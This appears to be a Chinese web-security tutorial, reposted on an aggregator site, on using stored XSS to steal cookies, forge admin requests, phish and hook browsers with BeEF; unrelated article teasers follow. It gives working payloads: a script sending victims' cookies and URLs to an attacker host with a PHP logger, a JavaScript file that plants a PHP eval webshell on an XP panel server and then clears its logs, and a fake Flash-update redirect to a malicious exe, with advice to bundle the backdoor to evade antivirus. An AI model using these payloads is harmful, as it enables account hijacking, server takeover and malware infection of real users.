Web攻防-XSS跨站Cookie盗取数据包提交网络钓鱼BEEF项目XSS平台危害利用

知识点:
1、Web攻防-XSS跨站-手工代码&框架工具&在线平台
2、Web攻防-XSS跨站-Cookie盗取&数据提交&网络钓鱼

演示案例-WEB攻防-XSS跨站-Cookie盗取&数据提交&网络钓鱼&Beef工具

1、XSS跨站-攻击利用-凭据盗取

条件:无防护Cookie凭据获取
利用:XSS平台或手写接受代码
演示:某贷款分配系统存储XSS利用

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

手工

目标上插入的XSS:
<script>var url='http://xx.xx.xx.xx/getcookie.php?u='+window.location.href+'&c='+document.cookie;document.write("<img src="+url+" />");</script>

在这里插入图片描述
在这里插入图片描述

攻击者服务器上接受脚本getcookie.php:
<?php
$url=$_GET['u'];
$cookie=$_GET['c'];
$fp = fopen('cookie.txt',"a");
fwrite($fp,$url."|".$cookie."\n");
fclose($fp);
?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

平台:XSSReceiver

简单配置即可使用,无需数据库,无需其他组件支持
搭建:https://github.com/epoch99/BlueLotus_XSSReceiver-master
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、XSS跨站-攻击利用-数据提交

条件:熟悉后台业务功能数据包,利用JS写一个模拟提交
利用:凭据获取不到或有防护无法利用凭据进入时考虑
演示:小皮面板系统存储XSS提交数据包模拟写入后门文件
参考:blog.csdn.net/RestoreJustice/article/details/129735449

攻击者知道目标网站使用了什么源码,就可以自己本地部署一套同样的源码,在登录本地后台对后台一些业务功能(例如用户创建等)进行操作并截取其数据包,利用JS写一个模拟提交,当目标执行这个js就会执行攻击者想要的操作(用户创建等)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

攻击者服务器上创建poc1.js,内容为:
function poc(){
$.get('/service/app/tasks.php?type=task_list',{},function(data){var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id},function(res2){
$.post('/service/app/log.php?type=clearlog',{},function(res3){},"json");},"json");},"json");
}
function save(){var data=new Object();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="14";
data.minute = "20";
data.shell='echo "<?php @eval($_POST[123]);?>" >C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
$.post('/service/app/tasks.php?type=save_shell',data,function(res){poc();},'json');
}
save();

在这里插入图片描述

 XSS攻击代码:<script src="http://xx.xxx.xxx/poc1.js"></script>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、XSS跨站-攻击利用-网络钓鱼

项目:https://github.com/r00tSe7en/Fake-flash.cn
在这里插入图片描述

1、将后门及正常文件捆绑打包免杀(实战情况下必须要做的部分)

2、部署可访问的钓鱼页面并修改(可以用项目也可以自己手动生成)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、植入XSS代码等待受害者触发

<script>alert('当前浏览器Flash版本过低,请下载升级!');location.href='http://x.x.x.x/flash.exe'</script>//这里是直接提供了exe下载地址而没有经过钓鱼页面,如果需要经过钓鱼页面再下载exe就是不用指定flash.exe即可location.href='http://x.x.x.x/flash.exe'</script>改为location.href='http://x.x.x.x/'</script>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4、XSS跨站-攻击利用-浏览器控制框架-beef-xss

只需执行JS文件,即可实现对当前浏览器的控制,可配合各类手法利用
演示:阿里云 Ubuntu 16.04 x64(按量计费) HK香港服务器
apt update
apt install docker
apt install docker-compose
搭建:docker run --rm -p 3000:3000 janes/beef
访问:http://ip:3000/ui/panel (账号密码:beef/beef)

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

利用:<script src="http://ip:3000/hook.js"></script>

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/85613.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/85613.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

自力更生式养老VS三大新型养老:在时代裂变中重构银发生存法则

在岁月长河中&#xff0c;父母曾为子女遮风挡雨&#xff0c;当他们步入暮年&#xff0c;养老问题成为家庭与社会共同关注的焦点。 “父母的养老终究是自力更生”&#xff0c;这句话道出了养老的本质内核。 然而&#xff0c;在自力更生的基础上&#xff0c;选择合适的养老方式…

计算机网络学习笔记:Wireshark观察TCP通信

文章目录 前言一、前置准备二、三报文握手过程抓包2.1、第一次握手2.2、第二次握手2.3、第三次握手 三、通信过程抓包3.1、报文 44379 – 客户端发数据&#xff08;PSH, ACK&#xff09;3.2、 报文 44380 – 服务端确认收到数据&#xff08;ACK&#xff09;3.3、报文 44469 – …

在Linux中,Iptables能做什么?

概述 背景说明 在运维工作中&#xff0c;Iptables是一个不可或缺的工具&#xff0c;它提供了强大的网络流量控制和管理能力。 问题呈现 iptables是一个不可获取的工具&#xff0c;你对其了解多少&#xff1f;该工具你是否真的会用&#xff1f;详细功能对应的应用场景你是否…

Linux——linux的基本命令

目录 一、linux的目录结构 二、绝对路径和相对路径 三、文件类型&#xff08;linux下所有东西都可看作文件&#xff09; 四、文件的权限 五、文件权限的修改&#xff08;chmod&#xff09; 六、linux常用的命令 七、文件查看命令 八、文件编辑命令 九、文件压缩与解压…

智慧水利数字孪生解决方案:百川孪生智领千行,100+标杆案例赋能智慧水利全域升级

在数字技术革命与产业变革深度交织的浪潮下&#xff0c;智慧水利作为保障国家水安全、推动水利高质量发展的核心载体&#xff0c;正以数字孪生技术为引擎&#xff0c;驱动水利行业从“经验驱动”向“数据驱动”转型。 山东融谷作为智慧水利数字孪生领域的创新实践者&#xff0c…

深入解析ID3算法:信息熵驱动的决策树构建基石

本文来自「大千AI助手」技术实战系列&#xff0c;专注用真话讲技术&#xff0c;拒绝过度包装。 ID3&#xff08;Iterative Dichotomiser 3&#xff09; 是机器学习史上的里程碑算法&#xff0c;由Ross Quinlan于1986年提出。它首次将信息论引入决策树构建&#xff0c;奠定了现代…

Java解析audio时长

前提需要电脑上先安装后ffmpeg public long parseDuration(String audioPath) {long durationMs -1;try {Process process Runtime.getRuntime().exec("ffprobe " audioPath);// InputStream is process.getInputStream();InputStream is process.getErrorStrea…

python学智能算法(十五)|机器学习朴素贝叶斯方法进阶-CountVectorizer多文本处理

【1】引言 前序学习进程中&#xff0c;已经学习CountVectorizer文本处理的简单技巧&#xff0c;先相关文章链接为&#xff1a; python学智能算法&#xff08;十四&#xff09;|机器学习朴素贝叶斯方法进阶-CountVectorizer文本处理简单测试-CSDN博客 此次继续深入&#xff0…

AiPy 监控视频智能监察:人像一键抽取+可反复执行程序落地

兄弟们&#xff0c;不知道你们有没有过查监控的经历&#xff0c;虽然现在监控摄像头是越来越多&#xff0c;硬盘越塞越满&#xff0c;但真出了事儿&#xff0c;回放查录像堪比大海捞针&#xff01;纯人工一帧帧的去找&#xff0c;能把眼睛盯瞎还是人影都找不到。不过我最近搞了…

期货反向跟单-终止盘手合作原则(二)

在期货反向跟单的领域中&#xff0c;数据就是实打实的真金白银&#xff0c;是策略能否持续盈利的核心价值所在。然而&#xff0c;许多团队在实际运营过程中&#xff0c;都遭遇了相似的困境&#xff1a;期初策略运转良好&#xff0c;可随着时间推移&#xff0c;数据表现却每况愈…

【Unity】MiniGame编辑器小游戏(三)马赛克【Mosaic】

更新日期&#xff1a;2025年6月17日。 项目源码&#xff1a;后续章节发布 索引 马赛克【Mosaic】一、游戏最终效果二、玩法简介三、正式开始1.定义游戏窗口类2.规划游戏窗口、视口区域3.地图方块阵列①.定义方块结构体②.生成方块阵列③.计算九宫格黑色方块数量④.排除任意九宫…

基于深度学习的智能图像质量评估系统:技术与实践

前言 在数字图像处理和计算机视觉领域&#xff0c;图像质量评估&#xff08;Image Quality Assessment, IQA&#xff09;是一个重要的研究方向。图像质量评估的目标是通过算法自动评估图像的质量&#xff0c;包括清晰度、对比度、噪声水平等。传统的图像质量评估方法主要依赖于…

【Golang面试题】Go语言实现请求频率限制

Go语言实现请求频率限制&#xff1a;从计数器到令牌桶的完整指南 在实际开发中&#xff0c;接口被恶意刷请求是常见问题。本文将深入探讨Go语言中四种主流的请求限流方案&#xff0c;从简单到复杂逐步深入&#xff0c;助你构建高可用服务。 一、基础方案&#xff1a;计数器法…

11Labs 增长负责人分享:企业级市场将从消费级或开发者切入丨Voice Agent 学习笔记

本文摘自 Founder Park AI 产品如何做增长&#xff0c;ElevenLabs的案例很值得学习。 专注于 AI 语音生成的独角兽企业 ElevenLabs 可以说一直在高速增长。在今年 1 月完成 1.8 亿美元 C 轮融资后&#xff0c;ElevenLabs 的估值突破 30 亿&#xff0c;直指 33 亿美元。2024 年…

Linux 命令:grep

概述 在Linux系统里&#xff0c;grep是一款十分实用的命令行工具&#xff0c;它主要用于在文件或者输入流中搜索符合特定模式的文本。下面为你详细介绍它的用法。资料已经分类整理好&#xff1a;https://pan.quark.cn/s/26d73f7dd8a7 基本语法 grep [选项] 搜索模式 [文件..…

Java八股文——MySQL「架构篇」

MySQL主从复制了解吗 面试官您好&#xff0c;我了解MySQL的主从复制。它是构建高可用、高可扩展数据库架构的核心基石。 1. 主从复制的核心原理与流程 整个主从复制的过程&#xff0c;就是一场围绕 binlog&#xff08;二进制日志&#xff09; 的“接力赛”。这个过程主要可以…

ubuntu下python版本升级导致pyqt不能正常运行解决

最终解决方案 ubuntu下多python版本pyqt兼容性问题解决 python3.9 -m pip install --upgrade --force-reinstall --prefer-binary pyqt5)尝试解决方案一(失败) 系统默认python版本可以&#xff0c;其他版本不行 sudo apt install pyqt5-dev-tools尝试解决方案二(失败) 一直…

AIGC工具平台-VideoRetalking音频对口型数字人

唇形合成技术正逐渐成为AIGC内容生产领域的重要工具&#xff0c;能够实现音视频数据的高度融合。基于VideoRetalking模块的可视化界面降低了技术门槛&#xff0c;使非技术背景的用户也能便捷体验唇形驱动数字人合成的流程。 本文重点解析该模块的使用方式及开发流程&#xff0…

前端项目如何部署为https

如何为项目部署设置HTTPS 设置HTTPS是保护网站数据传输安全的重要步骤。以下是设置HTTPS的主要方法&#xff1a; 1. 获取SSL/TLS证书 免费证书选项 Let’s Encrypt&#xff1a;最流行的免费证书颁发机构Cloudflare&#xff1a;提供免费SSL和CDN服务ZeroSSL&#xff1a;另一…

nginx 配置 系统升级页面

默认80端口配置如下&#xff1a; server {listen 80; # 指定端口号server_name 192.168.2.96; # 替换为实际域名或IP# 全局重定向到升级页面&#xff08;排除自身防循环&#xff09;if ($request_uri !~* "/upgrade.html") {return 307 /upgrade.html; # 临时重定…